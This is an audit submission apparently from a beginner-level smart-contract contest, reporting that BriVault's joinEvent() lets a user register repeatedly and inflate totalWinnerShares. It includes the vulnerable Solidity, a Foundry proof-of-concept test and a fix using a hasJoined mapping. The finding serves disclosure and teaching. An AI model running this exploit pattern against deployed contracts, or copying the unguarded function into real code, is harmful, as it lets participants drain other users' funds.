BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Users Can Call joinEvent() Multiple Times to Duplicate Their Address in usersAddress Array, Inflating totalWinnerShares and Stealing Funds from Other Winners

Root + Impact

Description

  • Each user should only be able to join the event once with their deposited amount. The totalWinnerShares should accurately reflect the sum of shares from all unique winners.

  • The joinEvent() function lacks protection against multiple calls by the same user. Each call pushes msg.sender to the usersAddress array without checking if they've already joined. When _getWinnerShares() is called during setWinner(), it iterates through usersAddress and adds the same user's shares multiple times to totalWinnerShares, artificially inflating the denominator. This causes all winners to receive less than their fair share, while the attacker can withdraw multiple times or receive inflated payouts.

// Root cause in the codebase
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
// @> No check to prevent duplicate entries
usersAddress.push(msg.sender); // @> User added multiple times
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
// @> Same user's shares counted multiple times if they called joinEvent() multiple times
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood:

  • Any user can call joinEvent() multiple times before the event starts

  • No access control or state tracking prevents repeated calls

  • The vulnerability is trivial to exploit

Impact:

  • totalWinnerShares becomes inflated, reducing payouts for all legitimate winners

  • Attacker can manipulate the withdrawal calculation to steal funds

  • Complete loss of funds for honest participants who bet on the winning team

  • Protocol becomes insolvent as the math breaks down

Proof of Concept

function test_multipleJoinEventExploit() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
// User1 deposits and joins event 10 times
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
// Join the same event multiple times
for(uint i = 0; i < 10; i++) {
briVault.joinEvent(10);
}
vm.stopPrank();
// User2 deposits and joins once (honest user)
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
// Set winner
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
// totalWinnerShares is now inflated by 10x for user1
// User2 receives much less than their fair 50% share
}

Recommended Mitigation

+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ if (hasJoined[msg.sender]) {
+ revert("Already joined");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ hasJoined[msg.sender] = true;
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!